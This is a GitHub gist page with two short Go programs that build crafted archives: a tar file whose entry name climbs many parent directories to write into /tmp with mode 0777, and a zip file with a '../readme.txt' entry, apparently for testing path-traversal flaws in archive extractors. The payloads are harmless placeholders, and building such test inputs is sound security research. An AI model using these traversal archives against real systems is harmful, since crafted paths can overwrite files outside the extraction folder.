Skip to content

Instantly share code, notes, and snippets.

@ecneladis

ecneladis/dottar.go

Created Jan 28, 2017
Embed
What would you like to do?
package main
import (
"archive/tar"
"os"
"log"
)
func main() {
f, err := os.Create("traversal.tar")
if err != nil {
log.Fatal(err)
}
w := tar.NewWriter(f)
w.WriteHeader(&tar.Header{
Typeflag: tar.TypeReg,
Name: "../../../../../../../../../../../../../../tmp/qwerty1234",
Mode: 0777,
})
w.Close()
f.Close()
}
Raw
package main
import (
"archive/zip"
"os"
"log"
)
func main() {
f, err := os.Create("symlink-write.zip")
if err != nil {
log.Fatal(err)
}
w := zip.NewWriter(f)
// Add some files to the archive.
var files = []struct {
Name, Body string
}{
{"../readme.txt", "This archive contains some text files."},
//{".\003\020./readme.txt", "This archive contains some text files."},
//{"gopher.txt", "Gopher names:\nGeorge\nGeoffrey\nGonzo"},
//{"todo.txt", "Get animal handling licence.\nWrite more examples."},
}
for _, file := range files {
f, err := w.Create(file.Name)
if err != nil {
log.Fatal(err)
}
_, err = f.Write([]byte(file.Body))
if err != nil {
log.Fatal(err)
}
}
// Make sure to check the error on Close.
w.Close()
f.Close()
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.